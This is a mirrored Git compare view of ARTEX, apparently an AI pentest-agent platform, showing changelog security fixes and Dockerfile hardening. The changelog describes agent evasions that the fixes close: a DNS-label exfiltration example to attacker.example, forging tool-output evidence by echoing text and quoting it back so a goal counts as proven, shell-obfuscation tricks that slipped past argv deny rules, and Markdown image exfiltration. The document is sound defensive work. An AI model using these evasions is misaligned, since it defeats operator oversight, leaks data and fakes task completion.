mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-12-06 06:33:57 +08:00
Compare commits
44
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2776b38b4c | ||
|
|
6585537565 | ||
|
|
31fa354018 | ||
|
|
f20086dcdf | ||
|
|
ffacadb458 | ||
|
|
7c7e04830d | ||
|
|
4a74435d38 | ||
|
|
3bdf6ba147 | ||
|
|
6e580b2776 | ||
|
|
de40408af9 | ||
|
|
ae9754bd62 | ||
|
|
c9a0bbacb4 | ||
|
|
3a40e5ccf6 | ||
|
|
2ed4e78684 | ||
|
|
0613d74a38 | ||
|
|
8f2fd634be | ||
|
|
3dabb5f1ef | ||
|
|
c3950fe0cf | ||
|
|
04c7d43de3 | ||
|
|
f6a3b08390 | ||
|
|
fc94b108cc | ||
|
|
02087629f5 | ||
|
|
40c74bfb9a | ||
|
|
52d1b3afba | ||
|
|
b6e24c33d4 | ||
|
|
3cbb7e6a3c | ||
|
|
e2dbd18174 | ||
|
|
0c818cad9d | ||
|
|
a22defc5ba | ||
|
|
9d076ec350 | ||
|
|
177bfeb7bf | ||
|
|
b6535154c6 | ||
|
|
d785c7d951 | ||
|
|
b2d9299089 | ||
|
|
d177511983 | ||
|
|
2eadb08779 | ||
|
|
19adbb1ec7 | ||
|
|
fa8f7696ca | ||
|
|
9751c14870 | ||
|
|
3559d0c8b0 | ||
|
|
c24d270436 | ||
|
|
eef0bb45f9 | ||
|
|
27f7be8f39 | ||
|
|
ba7f8cb292 |
@@ -6,6 +6,12 @@ All notable changes to this project are documented in this file. The format is b
|
|||||||
|
|
||||||
### Security
|
### Security
|
||||||
|
|
||||||
|
- **The target gate no longer resolves names that nothing approved.** For every tool call of a gated scope, `CheckTargets` resolved each host name the call wrote with the panel's resolver before it looked at exemptions, grants or pins, and applied the per-call cap only afterwards. The lookup leaves the panel past the sandbox egress boundary and reaches the name server of the domain, so an agent could send data in the labels of a name (`curl http://<data>.attacker.example/`) without the command ever running, and a call naming hundreds of hosts cost two lookups and a pin query per host. A name is now resolved only when a stored exemption on the target, an operator-approved egress grant or an active pin on any port of the name covers it. A name that nothing has approved is not resolved: it gets an approval request that shows the name only. When the operator approves it, the platform resolves the name once and runs the IP block rules on every address it resolves to. If even one address is blocked, the approval is refused: nothing is pinned, the request is closed, and the waiting call is refused with `TARGET_DENIED` (the approver sees the request as already decided: HTTP 409, "Already decided in ARTEX" in a chat). A clean name still pins the addresses it resolved to, and later calls and dials compare against that pin as before. The cap of five targets to request per call is applied before any lookup, and the pins of the scope are read once per call. Behaviour change: the first request for a new name lists no addresses; a new name that does not resolve raises an approval request instead of `TARGET_RESOLVE_FAILED`, and approving it is refused (the request stays open) while the name does not resolve.
|
||||||
|
- **Connections the platform opens itself stay bound to the pinned addresses behind a proxy.** The target gate treated every pin as name-only while `ProxyAddr()` was set, which is the case whenever traffic capture is on (even with no global proxy) or a global proxy is set, and a pin approved in that state kept `name_only_effective` and stayed name-only after the proxy was removed. The target fingerprint, asset enrichment and an http custom tool without a proxy dial the target themselves through the pinned dialer, without any proxy, so on a name-only cover they dialed the host name and resolved it again: a name that answered the approved address at approval time and an internal address afterwards had the panel fetch the internal address, and store its status, length, title and server header where the agent reads them. Name-only is now decided per check, from the path that check decides: a call whose traffic goes through a proxy still uses its pins by name, but a connection the pinned dialer opens is never name-only and goes only to the addresses it compared, or fails with an approval request. The `name_only_effective` mark stays on new pins and requests as a record of how they were approved and no longer changes any decision. Behaviour change: a fingerprint, enrichment or http tool dial whose target now answers an address outside its pin raises an address approval while capture or a global proxy is on, and a pin approved behind a proxy asks again for a changed address once the proxy is gone. The approval card for proxied traffic now says that connections the platform opens itself stay bound to the listed addresses.
|
||||||
|
- **A fact no longer proves a goal with tool output the agent wrote itself.** `record_fact` tied an observed `tool_output` fact to a recorded `tool_result` whenever one of its evidence lines occurred in that result, without asking where the text came from, so a worker could write sentences into a command's input (`cat > f <<'EOF' ... EOF; cat f`, `echo`, `printf`), quote the output, and `prove_goal` marked the goal met and completed the task with no observation behind it. A result now ties the fact only when none of the evidence lines it contains occurs in the input of a tool call of the same task recorded before it: its own call, and earlier calls, so a file written by one call and read back by another is refused too. Inputs are compared after JSON decoding. Otherwise an older result that holds the line and was not echoed is used, or the fact is stored unverified with a note and cannot prove a goal. A quoted line the agent also typed itself (a `grep` pattern quoted alone, a value it gave an earlier `record_fact`) is now refused as well; quoting the full output line still works. One real output line of 12 characters or more was also enough to tie the whole evidence, so free text on the other lines passed with it: now every non-blank evidence line must be in the one tool result recorded as the fact's provenance, compared without its surrounding whitespace, and a line under 12 characters (`ok`, `}`) must equal a whole output line. Evidence with a line that is not in that result, or with more than 20 lines, is stored unverified with a note; the command and any commentary belong in `detail`. `prove_goal` checks the lines again against the tied result, so a fact stored before this change is refused when a line of its evidence, often the command, is not in that result. Workers must therefore quote output lines only, with the command in `detail`: the `record_fact` description, its `evidence` field and the worker prompt now say so. A stored copy of the previous default texts (v0.7.0 and v0.7.1) is replaced once at startup and an operator's edited text is kept; the worker prompt gets the new default as a new version once, as earlier prompt changes did. An edited worker prompt is replaced too, and the previous text remains in the prompt history. Text the shell rewrites before printing it (escape sequences, `base64 -d`, a sentence split across words or variables) is not detected, and the input check does not run again on facts recorded before this change.
|
||||||
|
- **Argv deny and ask rules no longer pass a command they cannot read.** An argv deny or ask rule answered "no match", and the call ran without review, when the program word was an ANSI-C string, a glob, a brace expansion or a variable (`$'nmap'`, `/usr/bin/nm?p`, `n{m,}ap`, `"$T"`), when a `sh -c` or `eval` payload was built at run time, when a shell read its script from a here-string, a here-document, a process substitution or a pipe (`bash <<< 'nmap x'`, `echo 'nmap x' | sh`), when payloads nested more than three levels deep, and for shells and program runners the matcher did not know (`ash`, `mksh`, `rbash`, `posh`, `yash`, `csh`, `tcsh`, `su -c`, `runuser`, `script -c`, `unshare`, `setpriv`, `nsenter`, `systemd-run`, `firejail`, `catchsegv`, `pkexec`). ANSI-C strings are now decoded, literal text fed to a shell on stdin (here-string, here-document, `echo`, `printf` or `cat <<EOF` into a pipe or process substitution, `source <(...)`, `/dev/stdin`) is parsed as a nested command line, and the new shells and runners are unwrapped. When a part of the line that may run the program is only known when it runs (such a program word, a payload or a script produced by another command as in `curl ... | bash`, nesting past the limit, a word built at run time where the rule names an argument, a shell option the matcher does not know), the rule now counts as a possible match: an ask rule asks as configured, and a deny rule asks for an approval that times out to deny, because denying outright would also refuse every ordinary `"$TOOL" ...` call with no way to let it through. A possible match keeps its rule's place in the priority order, and a later rule that denies still decides. A program word whose last path component is fixed text (`"$HOME/bin/curl"`, `~/bin/curl`) is matched by that name. Unknown options on a known wrapper were tried both ways recursively, so `nohup` with a few dozen unknown options took seconds per rule; each position is now walked once and a rule's walk is bounded, and reaching a bound counts as a possible match. Script files (`bash script.sh`, `sh < file`) are still not read.
|
||||||
|
- **The sandbox images build from a digest-pinned Debian base.** `Dockerfile.runner`, `Dockerfile.worker` and `Dockerfile.egress-proxy` built their runtime stage from the bare `debian:bookworm-slim` tag, so a rebuild used whatever the tag pointed to that day for the runner (which holds the Docker socket), the worker and the egress proxy. They now use `debian:bookworm-slim@sha256:e67eeead...`, the multi-architecture index the panel `Dockerfile` already pins, which Dependabot keeps current, and a test fails when any `FROM` in the repository's Dockerfiles lacks a digest. The GHCR compose file pins `postgres:16-alpine` to the digest `docker-compose.yml` already uses. The API-recon skill's checklist and harvest script ask for `npm ci --ignore-scripts` against the shipped lockfile instead of `npm install`. The Debian package repositories the images install from are still live, not a frozen snapshot.
|
||||||
|
- **The image ships Playwright builds with Chromium 159.** The Dockerfile installed `playwright@1.64.1`, whose Chromium 156.0.8078.4 the shared browser runs, and `@playwright/mcp@0.0.83` and `@playwright/cli@0.1.22`, which bundle Chromium 155.0.8059.12. Both are older than 157.0.8103.50, the release that fixes CVE-2026-125350, a renderer use-after-free exploited in the wild. The pins move to `playwright@1.65.1`, `@playwright/mcp@0.0.86` and `@playwright/cli@0.1.25`, which all bundle Chromium 159.0.8154.6 (Playwright revision 1255), and a test refuses a Dockerfile pin older than the first release of each package with a fixed Chromium. The `playwright-cli` skill installs the same `@playwright/cli` version, and its test-generation guide installs `@playwright/test@1.65.1` instead of running `npm init playwright@latest`; a test keeps the Playwright versions named in skills equal to the Dockerfile pins. Known limitation, unchanged: on Linux these browsers still run with `--no-sandbox`. The image has no setuid sandbox helper and Docker's default seccomp profile gives the executor no user namespaces, so a renderer exploit is contained only by the container and the executor uid; the README now states this next to the shared browser.
|
||||||
- **Pausing or deleting a task in local mode stops only that task's processes.** With the sandbox off and the executor uid drop on, `Engine.Pause` and `Engine.BeginDelete` sent SIGTERM and then SIGKILL to every process running as the executor uid and never looked at the task directory. Every task runs as that uid, so pausing one task (from the UI, the API, the chat bridge or the Auto agent's `pause_task`) also killed the agents of every other running task, the shared browser, and any process of that uid on the host, even one the server never started. The kill switch now selects a process only when the server started it (escaped daemons are reparented to the server, which is a child subreaper) and its subtree belongs to the task: walking down from the server, the first process that names a task decides for everything below it, through the new `ARTEX_EXEC_TASK` variable that the planner and the worker put in the environment of their Bash, or else through a working directory under `tasks/<id>`. A process group is signalled as a whole only when every live member belongs to the task. With the privilege drop off the same scoping replaces the old rule, which killed every descendant in another process group, so it crossed tasks too. Behaviour change: a process that was reparented to the server, left the task directory and cleared `ARTEX_EXEC_TASK` (for example `cd /; env -i setsid daemon`) is no longer killed by Pause; stdio MCP servers, which start outside the task directory, are left to the end of the agent run, which closes them. Sandbox mode is unchanged.
|
- **Pausing or deleting a task in local mode stops only that task's processes.** With the sandbox off and the executor uid drop on, `Engine.Pause` and `Engine.BeginDelete` sent SIGTERM and then SIGKILL to every process running as the executor uid and never looked at the task directory. Every task runs as that uid, so pausing one task (from the UI, the API, the chat bridge or the Auto agent's `pause_task`) also killed the agents of every other running task, the shared browser, and any process of that uid on the host, even one the server never started. The kill switch now selects a process only when the server started it (escaped daemons are reparented to the server, which is a child subreaper) and its subtree belongs to the task: walking down from the server, the first process that names a task decides for everything below it, through the new `ARTEX_EXEC_TASK` variable that the planner and the worker put in the environment of their Bash, or else through a working directory under `tasks/<id>`. A process group is signalled as a whole only when every live member belongs to the task. With the privilege drop off the same scoping replaces the old rule, which killed every descendant in another process group, so it crossed tasks too. Behaviour change: a process that was reparented to the server, left the task directory and cleared `ARTEX_EXEC_TASK` (for example `cd /; env -i setsid daemon`) is no longer killed by Pause; stdio MCP servers, which start outside the task directory, are left to the end of the agent run, which closes them. Sandbox mode is unchanged.
|
||||||
- **Markdown images no longer load from other origins.** Finding reports, task reports and transcripts render Markdown written by the agent from target content, and an image in it was fetched by the operator's browser as soon as the view opened: `` sent whatever the URL carried to an outside host, outside the sandbox egress controls. The Markdown renderer now loads only same-origin images under `/api/` and `/uploads/` (relative paths, or absolute URLs on the console's own origin, checked after dot segments are resolved; protocol-relative URLs, backslashes and encoded slashes are refused) and shows any other image as its alt text and URL, linked when it is an `http(s)` URL, so nothing is fetched until the operator clicks. The Content-Security-Policy sent with every response, console included, adds `img-src 'self' data: blob:`, which also covers images outside Markdown. Behaviour change: images embedded from external hosts in reports and notes, and company logos set to an external URL, no longer display.
|
- **Markdown images no longer load from other origins.** Finding reports, task reports and transcripts render Markdown written by the agent from target content, and an image in it was fetched by the operator's browser as soon as the view opened: `` sent whatever the URL carried to an outside host, outside the sandbox egress controls. The Markdown renderer now loads only same-origin images under `/api/` and `/uploads/` (relative paths, or absolute URLs on the console's own origin, checked after dot segments are resolved; protocol-relative URLs, backslashes and encoded slashes are refused) and shows any other image as its alt text and URL, linked when it is an `http(s)` URL, so nothing is fetched until the operator clicks. The Content-Security-Policy sent with every response, console included, adds `img-src 'self' data: blob:`, which also covers images outside Markdown. Behaviour change: images embedded from external hosts in reports and notes, and company logos set to an external URL, no longer display.
|
||||||
- **Transcripts and noa archives are owner-only, and Norma's Grep no longer installs ripgrep.** Norma writes `<data>/transcripts` and the noa compression archives under `<data>/noa` with 0755 directories and 0644 files, so any other uid on the host, the executor that runs the agent's commands included, could read every conversation (prompts, model output, tool results). At startup every directory in these two trees, the top ones included, now keeps at most its owner bits (0700) and every regular file at most owner read and write (0600); a narrower mode is never widened, and a missing top directory is created 0700. As for the key directory, nothing is changed by path: the trees are walked under an `os.Root` at the data directory, each entry is checked without following symlinks and changed through the descriptor that was checked, and a symlink (`transcripts` or `noa` themselves included), a hard-linked file or any other non-regular entry is refused and left as it is. A refusal or a failed mode change fails the start like a key directory that cannot be locked down: the error joins the isolation self-test, and only `ARTEX_ALLOW_UNISOLATED=1` (or `-dev-insecure-no-isolation`) starts anyway. Only the server reads these trees: the sandbox and Kubernetes workers mount only their task directory, the executor's shells and file tools work inside run directories, and archive export and the workspace file manager read them as the server. Files Norma writes later are still 0644 but sit under 0700 directories. Norma's Grep ran an unpinned `npm install -g @vscode/ripgrep` (install scripts enabled) when `rg` was missing; `NORMA_RIPGREP_NO_INSTALL` is now always set to `1` at startup, so no value, an empty one included, lets a Norma Grep install a package at run time (ARTEX's own Grep never starts ripgrep). Behaviour change: archiving the data directory as a non-root host user (`scripts/backup.sh --with-data`, which already asks for root) cannot read these two trees, and a data directory the server cannot change (for example an NFS export with root squashing, or a tree owned by another uid) fails the start until it is fixed or the opt-out is set.
|
- **Transcripts and noa archives are owner-only, and Norma's Grep no longer installs ripgrep.** Norma writes `<data>/transcripts` and the noa compression archives under `<data>/noa` with 0755 directories and 0644 files, so any other uid on the host, the executor that runs the agent's commands included, could read every conversation (prompts, model output, tool results). At startup every directory in these two trees, the top ones included, now keeps at most its owner bits (0700) and every regular file at most owner read and write (0600); a narrower mode is never widened, and a missing top directory is created 0700. As for the key directory, nothing is changed by path: the trees are walked under an `os.Root` at the data directory, each entry is checked without following symlinks and changed through the descriptor that was checked, and a symlink (`transcripts` or `noa` themselves included), a hard-linked file or any other non-regular entry is refused and left as it is. A refusal or a failed mode change fails the start like a key directory that cannot be locked down: the error joins the isolation self-test, and only `ARTEX_ALLOW_UNISOLATED=1` (or `-dev-insecure-no-isolation`) starts anyway. Only the server reads these trees: the sandbox and Kubernetes workers mount only their task directory, the executor's shells and file tools work inside run directories, and archive export and the workspace file manager read them as the server. Files Norma writes later are still 0644 but sit under 0700 directories. Norma's Grep ran an unpinned `npm install -g @vscode/ripgrep` (install scripts enabled) when `rg` was missing; `NORMA_RIPGREP_NO_INSTALL` is now always set to `1` at startup, so no value, an empty one included, lets a Norma Grep install a package at run time (ARTEX's own Grep never starts ripgrep). Behaviour change: archiving the data directory as a non-root host user (`scripts/backup.sh --with-data`, which already asks for root) cannot read these two trees, and a data directory the server cannot change (for example an NFS export with root squashing, or a tree owned by another uid) fails the start until it is fixed or the opt-out is set.
|
||||||
@@ -58,6 +64,7 @@ All notable changes to this project are documented in this file. The format is b
|
|||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
|
|
||||||
|
- **Docker downloads retry transient failures.** The Dockerfile's checksum-verified downloads of the recon tool releases and Node now retry up to five times on any error, so a brief network or DNS hiccup no longer fails the whole image build. Checksum verification is unchanged.
|
||||||
- **Agents are shown the container work directory in sandbox mode.** In `ARTEX_SANDBOX=required` mode the prompt named the panel host path under `/app/data/tasks`, so a script that used an absolute path wrote to the read-only `/app` and lost its captured responses. The prompt now names the worker path (`/workspace/...`) and tells the agent to use relative paths for shell and file tools.
|
- **Agents are shown the container work directory in sandbox mode.** In `ARTEX_SANDBOX=required` mode the prompt named the panel host path under `/app/data/tasks`, so a script that used an absolute path wrote to the read-only `/app` and lost its captured responses. The prompt now names the worker path (`/workspace/...`) and tells the agent to use relative paths for shell and file tools.
|
||||||
- **Finding retests get an independent sandbox in required mode** (related to #805): the first retest turn uses its own worker and workspace, shared by Bash and file tools, and inherits only the source task's operator-approved egress scope. Completion, failure and cancellation remove the worker, proxy and network while retaining evidence files. Shutdown waits for conversation cleanup. Standalone chats and follow-up discussion of sealed retests still have no execution context.
|
- **Finding retests get an independent sandbox in required mode** (related to #805): the first retest turn uses its own worker and workspace, shared by Bash and file tools, and inherits only the source task's operator-approved egress scope. Completion, failure and cancellation remove the worker, proxy and network while retaining evidence files. Shutdown waits for conversation cleanup. Standalone chats and follow-up discussion of sealed retests still have no execution context.
|
||||||
- **The goal decomposer caches its system prompt**: `DecomposeGoalsWithProvider` built its session without a `DynamicBoundary`, and Norma reads 0 as "no cache breakpoint", so each turn of goal decomposition resent its tools and system prompt uncached on Anthropic profiles. It now sets 1, the same breakpoint #836 gave the other agents without global MCP tools.
|
- **The goal decomposer caches its system prompt**: `DecomposeGoalsWithProvider` built its session without a `DynamicBoundary`, and Norma reads 0 as "no cache breakpoint", so each turn of goal decomposition resent its tools and system prompt uncached on Anthropic profiles. It now sets 1, the same breakpoint #836 gave the other agents without global MCP tools.
|
||||||
@@ -72,6 +79,9 @@ All notable changes to this project are documented in this file. The format is b
|
|||||||
- **`start.sh` stops during a crash backoff**: a SIGTERM or SIGINT that arrived while the supervisor slept before a restart was handled only after the sleep, and the loop then started `artex` again and waited on it, so `docker stop` waited out its grace period and SIGKILLed a freshly started server. The backoff sleep can now be interrupted, and the loop checks for a pending stop before each launch. `scripts/test-start-sh.sh` covers it in CI.
|
- **`start.sh` stops during a crash backoff**: a SIGTERM or SIGINT that arrived while the supervisor slept before a restart was handled only after the sleep, and the loop then started `artex` again and waited on it, so `docker stop` waited out its grace period and SIGKILLed a freshly started server. The backoff sleep can now be interrupted, and the loop checks for a pending stop before each launch. `scripts/test-start-sh.sh` covers it in CI.
|
||||||
- **A paused task no longer times out**: the deadline coordinator kept counting while a task was paused, so a task paused past its deadline (or restored paused after a restart) ran a final planner round and was set to `timeout` before it could be resumed, and after a resume the engine still used the deadline cached before the pause. The coordinator now waits while the task is paused, and resuming refreshes the cached deadline with the paused interval credited back (#1).
|
- **A paused task no longer times out**: the deadline coordinator kept counting while a task was paused, so a task paused past its deadline (or restored paused after a restart) ran a final planner round and was set to `timeout` before it could be resumed, and after a resume the engine still used the deadline cached before the pause. The coordinator now waits while the task is paused, and resuming refreshes the cached deadline with the paused interval credited back (#1).
|
||||||
- **The empty sandbox egress warning is written once per task start.** In `ARTEX_SANDBOX=required` mode, the warning added in #833 for a task whose scope rows grant no egress was appended again, as an activity and a log line, on every `Engine.Run` call. The engine calls `Run` again on a task that is already running (resume, intent rerun, finding follow-up, goal decomposition, the active-task endpoint), so the activity feed filled up with copies. The check now runs only when the task really starts.
|
- **The empty sandbox egress warning is written once per task start.** In `ARTEX_SANDBOX=required` mode, the warning added in #833 for a task whose scope rows grant no egress was appended again, as an activity and a log line, on every `Engine.Run` call. The engine calls `Run` again on a task that is already running (resume, intent rerun, finding follow-up, goal decomposition, the active-task endpoint), so the activity feed filled up with copies. The check now runs only when the task really starts.
|
||||||
|
- **Chat bot commands accept their arguments after a line break or a tab.** `parseCommand` split the command from its arguments only at a space, so `/task` followed by a newline and `42` got "Unknown command", and `/task@bot` followed by a newline and `42` was taken as addressed to another bot and ignored. It now splits at the first whitespace character.
|
||||||
|
- **File sizes just under 1 MB or 1 GB no longer show as "1024.0 KB" or "1024.0 MB".** `formatBytes` moved to the next unit only from 1024, and the one-decimal value rounds up to "1024.0" from 1023.95, so 1,048,575 bytes showed as "1024.0 KB". It now moves to the next unit from 1023.95, as `formatTokens` does for "1000k".
|
||||||
|
- **Retargeting a task rewrites only the old host, not longer hosts that contain it.** `RetargetTask` replaced every case-insensitive occurrence of the old host in the goal, open goal nodes and constraints, so retargeting `10.0.0.1` also turned `10.0.0.10` into `10.0.0.50`, and `example.com` rewrote `notexample.com` and `example.com.evil.net`. A match is now replaced only when it is not part of a longer host name or address; subdomains such as `api.example.com` still follow the new host. The `[Target: ...]` suffix is also decided on whole hosts, so a goal naming `10.0.0.10` gets it when the new target is `10.0.0.1`.
|
||||||
|
|
||||||
### Removed
|
### Removed
|
||||||
|
|
||||||
|
|||||||
+12
-8
@@ -112,7 +112,7 @@ RUN set -eux; \
|
|||||||
mkdir -p /out; \
|
mkdir -p /out; \
|
||||||
fetch() { base="$1"; asset="$2"; want="$3"; name="$4"; \
|
fetch() { base="$1"; asset="$2"; want="$3"; name="$4"; \
|
||||||
rm -rf /tmp/t; mkdir -p /tmp/t/x; \
|
rm -rf /tmp/t; mkdir -p /tmp/t/x; \
|
||||||
curl -fsSL "$base/$asset" -o "/tmp/t/$asset"; \
|
curl -fsSL --retry 5 --retry-all-errors --retry-delay 2 "$base/$asset" -o "/tmp/t/$asset"; \
|
||||||
if [ -z "$want" ]; then echo "no pinned digest for $asset" >&2; exit 1; fi; \
|
if [ -z "$want" ]; then echo "no pinned digest for $asset" >&2; exit 1; fi; \
|
||||||
got="$(sha256sum "/tmp/t/$asset" | cut -d' ' -f1)"; \
|
got="$(sha256sum "/tmp/t/$asset" | cut -d' ' -f1)"; \
|
||||||
if [ "$want" != "$got" ]; then echo "checksum mismatch for $asset: want $want got $got" >&2; exit 1; fi; \
|
if [ "$want" != "$got" ]; then echo "checksum mismatch for $asset: want $want got $got" >&2; exit 1; fi; \
|
||||||
@@ -198,7 +198,7 @@ RUN set -eux; \
|
|||||||
esac; \
|
esac; \
|
||||||
base="https://nodejs.org/dist/v${NODE_VERSION}"; \
|
base="https://nodejs.org/dist/v${NODE_VERSION}"; \
|
||||||
asset="node-v${NODE_VERSION}-linux-${NODE_ARCH}.tar.xz"; \
|
asset="node-v${NODE_VERSION}-linux-${NODE_ARCH}.tar.xz"; \
|
||||||
curl -fsSL "$base/$asset" -o "/tmp/$asset"; \
|
curl -fsSL --retry 5 --retry-all-errors --retry-delay 2 "$base/$asset" -o "/tmp/$asset"; \
|
||||||
[ -n "$want" ] || { echo "no pinned digest for $asset" >&2; exit 1; }; \
|
[ -n "$want" ] || { echo "no pinned digest for $asset" >&2; exit 1; }; \
|
||||||
got="$(sha256sum "/tmp/$asset" | cut -d' ' -f1)"; \
|
got="$(sha256sum "/tmp/$asset" | cut -d' ' -f1)"; \
|
||||||
if [ "$want" != "$got" ]; then echo "checksum mismatch for $asset: want $want got $got" >&2; exit 1; fi; \
|
if [ "$want" != "$got" ]; then echo "checksum mismatch for $asset: want $want got $got" >&2; exit 1; fi; \
|
||||||
@@ -269,13 +269,15 @@ RUN set -eux; \
|
|||||||
# @playwright/cli: provides playwright-cli, verified with --help right after install.
|
# @playwright/cli: provides playwright-cli, verified with --help right after install.
|
||||||
# Then install playwright (browser management) and preinstall chromium plus its system
|
# Then install playwright (browser management) and preinstall chromium plus its system
|
||||||
# dependencies via --with-deps. @playwright/mcp and @playwright/cli bundle their own
|
# dependencies via --with-deps. @playwright/mcp and @playwright/cli bundle their own
|
||||||
# playwright-core, which expects a different Chromium build than
|
# playwright-core, which can expect a different Chromium build than
|
||||||
# playwright@PLAYWRIGHT_VERSION installs, so that build is installed as well (second
|
# playwright@PLAYWRIGHT_VERSION installs, so that build is installed as well (second
|
||||||
# install line); without it neither can launch a browser. All three packages are
|
# install line); without it neither can launch a browser. All three packages are
|
||||||
# pinned; upgrade deliberately.
|
# pinned; upgrade deliberately. Each pin must bundle Chromium 157.0.8103.50 or later
|
||||||
ARG PLAYWRIGHT_MCP_VERSION=0.0.83
|
# (the pins below all bundle 159.0.8154.6, Playwright revision 1255), and
|
||||||
ARG PLAYWRIGHT_CLI_VERSION=0.1.22
|
# server/playwright_pins_test.go refuses older ones.
|
||||||
ARG PLAYWRIGHT_VERSION=1.64.1
|
ARG PLAYWRIGHT_MCP_VERSION=0.0.86
|
||||||
|
ARG PLAYWRIGHT_CLI_VERSION=0.1.25
|
||||||
|
ARG PLAYWRIGHT_VERSION=1.65.1
|
||||||
# playwright-core's exports map hides cli.js from require.resolve, so run the
|
# playwright-core's exports map hides cli.js from require.resolve, so run the
|
||||||
# binary npm links for @playwright/mcp instead: it is the copy MCP actually
|
# binary npm links for @playwright/mcp instead: it is the copy MCP actually
|
||||||
# loads, and it installs the Chromium revision that copy expects.
|
# loads, and it installs the Chromium revision that copy expects.
|
||||||
@@ -303,7 +305,9 @@ COPY --from=build /out/artex /app/artex
|
|||||||
# to artex — docker stop only signals PID 1; without forwarding, artex never receives it,
|
# to artex — docker stop only signals PID 1; without forwarding, artex never receives it,
|
||||||
# cannot shut down gracefully, and is hard-killed by SIGKILL after 10 seconds.
|
# cannot shut down gracefully, and is hard-killed by SIGKILL after 10 seconds.
|
||||||
COPY start.sh /app/start.sh
|
COPY start.sh /app/start.sh
|
||||||
RUN chmod +x /app/artex /app/start.sh && mkdir -p -m 0700 /app/keys \
|
RUN chmod 0711 /app \
|
||||||
|
&& chmod +x /app/artex /app/start.sh \
|
||||||
|
&& mkdir -p -m 0700 /app/keys \
|
||||||
&& chmod 0711 /root
|
&& chmod 0711 /root
|
||||||
# No setuid or setgid programs (su, passwd, mount, bbot's chrome_sandbox, ...): an
|
# No setuid or setgid programs (su, passwd, mount, bbot's chrome_sandbox, ...): an
|
||||||
# agent process runs as the executor and must not regain root through one, even
|
# agent process runs as the executor and must not regain root through one, even
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ ARG TARGETARCH
|
|||||||
RUN CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags="-s -w" \
|
RUN CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags="-s -w" \
|
||||||
-o /out/artex-egress-proxy ./cmd/artex-egress-proxy
|
-o /out/artex-egress-proxy ./cmd/artex-egress-proxy
|
||||||
|
|
||||||
FROM debian:bookworm-slim
|
FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e
|
||||||
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates && rm -rf /var/lib/apt/lists/* \
|
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates && rm -rf /var/lib/apt/lists/* \
|
||||||
&& groupadd -g 10001 exec && useradd -u 10001 -g 10001 -d /nonexistent -s /usr/sbin/nologin exec
|
&& groupadd -g 10001 exec && useradd -u 10001 -g 10001 -d /nonexistent -s /usr/sbin/nologin exec
|
||||||
COPY --from=build /out/artex-egress-proxy /usr/local/bin/artex-egress-proxy
|
COPY --from=build /out/artex-egress-proxy /usr/local/bin/artex-egress-proxy
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ RUN CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath \
|
|||||||
-ldflags="-s -w -X main.version=${ARTEX_VERSION}" \
|
-ldflags="-s -w -X main.version=${ARTEX_VERSION}" \
|
||||||
-o /out/artex-runner ./cmd/artex-runner
|
-o /out/artex-runner ./cmd/artex-runner
|
||||||
|
|
||||||
FROM debian:bookworm-slim
|
FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e
|
||||||
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
|
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
|
||||||
COPY --from=build /out/artex-runner /usr/local/bin/artex-runner
|
COPY --from=build /out/artex-runner /usr/local/bin/artex-runner
|
||||||
EXPOSE 8789
|
EXPOSE 8789
|
||||||
|
|||||||
+1
-1
@@ -10,7 +10,7 @@ ARG TARGETOS=linux
|
|||||||
ARG TARGETARCH
|
ARG TARGETARCH
|
||||||
RUN CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags="-s -w" -o /out/artex-exec-wrap ./cmd/artex-exec-wrap
|
RUN CGO_ENABLED=0 GOOS=${TARGETOS} GOARCH=${TARGETARCH} go build -trimpath -ldflags="-s -w" -o /out/artex-exec-wrap ./cmd/artex-exec-wrap
|
||||||
|
|
||||||
FROM debian:bookworm-slim
|
FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e
|
||||||
RUN set -eux; \
|
RUN set -eux; \
|
||||||
apt-get update; \
|
apt-get update; \
|
||||||
apt-get install -y --no-install-recommends \
|
apt-get install -y --no-install-recommends \
|
||||||
|
|||||||
@@ -259,6 +259,12 @@ worker remains confined to the intent it claimed.
|
|||||||
by same-UID agent processes while the run is active; the token is revoked immediately when the run
|
by same-UID agent processes while the run is active; the token is revoked immediately when the run
|
||||||
ends, Chromium binds no TCP port on Unix, and the server CDP proxy enforces the operator hold and
|
ends, Chromium binds no TCP port on Unix, and the server CDP proxy enforces the operator hold and
|
||||||
active lease on every HTTP request and WebSocket message so operator take-over cannot be bypassed.
|
active lease on every HTTP request and WebSocket message so operator take-over cannot be bypassed.
|
||||||
|
Known limitation: on Linux the shared browser, like Playwright MCP and `playwright-cli`, runs
|
||||||
|
Chromium with `--no-sandbox`. The image has no setuid sandbox helper (setuid bits are stripped and
|
||||||
|
the panel runs with `no-new-privileges`), and Docker's default seccomp profile gives the executor no
|
||||||
|
user namespaces. A renderer exploit is therefore contained only by the container and the executor
|
||||||
|
uid, which can read every task's transcripts and workspaces: open only pages you are prepared to
|
||||||
|
expose to that, and keep the image current with Chromium security releases.
|
||||||
- **Verified findings**: findings carry a POE level, a verification status and a note; a finding is
|
- **Verified findings**: findings carry a POE level, a verification status and a note; a finding is
|
||||||
`verified` only when a bound proof/response and verbatim evidence quotes support it. Gzip/deflate
|
`verified` only when a bound proof/response and verbatim evidence quotes support it. Gzip/deflate
|
||||||
bodies are decoded before the quote check. The findings table supports bulk status updates, and
|
bodies are decoded before the quote check. The findings table supports bulk status updates, and
|
||||||
@@ -910,11 +916,11 @@ scripts/backup.sh --keep 7 # db only, keep 7
|
|||||||
